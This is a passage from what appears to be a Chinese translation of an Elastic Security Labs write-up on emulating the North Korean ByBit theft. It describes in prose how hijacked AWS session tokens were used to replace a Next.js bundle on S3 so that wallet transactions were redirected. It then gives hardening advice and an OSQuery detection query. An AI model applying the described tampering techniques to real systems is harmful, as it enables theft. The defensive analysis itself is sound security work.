将MFA注册限制为受信任的路径:除非来自受信任的网络、设备或IAM角色,否则通过会话令牌阻止MFA设备创建(CreateVirtualMFA设备、EnableMFA设备)。使用aws:SessionToken或aws:ViaAWSService作为策略上下文键来强制执行此操作。这将阻止对手使用被劫持的会话尝试基于MFA的持久性。
S3应用层强化(前端篡改)
在获得AWS会话令牌后,对手没有执行任何IAM枚举,而是迅速转向S3操作。他们使用AWS CLI和临时凭据列出了S3存储桶,并修改了托管在公共S3存储桶上的静态前端JavaScript。这使他们能够用一种恶意变体替换Next.js捆绑包,该变体旨在根据特定的钱包地址重定向交易。
为了防止这种前端篡改,请实施以下强化策略:
使用S3对象锁强制不可变性:在托管静态前端内容的存储桶上以合规或治理模式启用S3对象锁。这可以防止在规定的保留期内覆盖或删除文件,即使是受感染的用户。Object Lock添加了强大的不变性保证,是面向公共应用层的理想选择。仍然可以通过部署角色允许放置新对象(而不是覆盖)。
使用子资源完整性(SRI)实现内容完整性:在index.html的<script>标签中包含SRI哈希(例如SHA-256),以确保前端只执行已知的、经过验证的JavaScript包。在这次攻击中,由于缺乏完整性检查,允许从S3 bucket提供和执行任意JavaScript。SRI会在浏览器级别阻止这种行为。
使用CI/CD部署边界限制上传访问:开发人员永远不应该对生产S3存储桶有直接的写访问权限。使用单独的AWS帐户或IAM角色进行开发和CI/CD部署。只有OIDC认证的GitHub Actions或受信任的CI管道才应该被允许将前端包上传到生产桶。这确保了即使人类证书被泄露,也不会毒害生产。
通过CloudFront签名URL锁定访问或使用S3版本控制:如果前端是通过CloudFront分发的,则使用签名URL限制对S3的访问,并删除对S3源的公共访问。这将添加代理和控制层。或者,启用S3版本控制并监视关键资产(例如/static/js/*.js)上的覆盖事件。这可以帮助检测试图替换前端文件的对手的篡改。
攻击发现(AD)
在完成端到端攻击仿真后,我们测试了Elastic的新AI攻击发现功能,看看它是否可以连接入侵各个阶段之间的点。攻击发现与您选择的LLM集成,以分析整个堆栈中的警报并生成连贯的攻击叙述。这些叙述有助于分析师快速了解发生了什么,缩短响应时间,并获得高层次的背景。在我们的测试中,它成功地将端点入侵与AWS入侵相关联,提供了一个统一的故事,分析师可以使用它来采取明智的行动。
OSQuery
通过Elastic Agent运行Elastic Defend时,您还可以部署OSQuery Manager集成,以集中管理Fleet中所有代理的OSQuery。这使您能够使用分布式SQL查询主机数据。在测试Docker化恶意应用程序期间,我们使用OSQuery检查端点,并成功识别出以特权权限运行的容器
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
我们计划定期运行此查询,并将结果发送回我们的弹性堆栈。从那里,我们构建了一个基于阈值的检测规则,每当用户的系统上出现新的特权容器并且在过去七天内没有被观察到时,就会发出警报。
结论
ByBit攻击是朝鲜威胁行为者造成的最严重的入侵之一,由于详细的报告和可用的文物,它也为防御者提供了一个难得的机会来模拟完整的端到端攻击链。通过重新创建SAFE开发人员的macOS工作站的折衷方案,包括初始访问、有效载荷执行和AWS旋转,我们验证了我们的检测能力与现实世界中的国家贸易技术的对比。
这种模拟不仅突出了技术见解,比如PyYAML反序列化如何被滥用以获得初始访问权限,还强化了运营防御中的关键教训:用户意识的价值、基于行为的EDR覆盖、安全的开发人员工作流程、有效的云IAM策略、云日志记录和跨平台的整体检测/响应。
对手在不断创新,防御者也在不断创新——这种研究有助于打破平衡。我们鼓励您关注@elasticseclabs,并查看我们在elastic.co/security-labs上的威胁研究,以领先于不断发展的对手技术
资源:
Bybit–迄今为止我们所知道的
Safe.eth on X:“调查更新和社区行动呼吁”
加密货币APT情报:揭示Lazarus集团的入侵技术
缓慢的双鱼座瞄准了面临编码挑战的开发人员,并推出了新的定制Python恶意软件
行为准则:朝鲜利用Python入侵安全网络
Elastic抓住朝鲜传出KANDYKORN
原文始发于微信公众号(七芒星实验室):Bit ByBit -朝鲜最大的加密货币盗窃案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论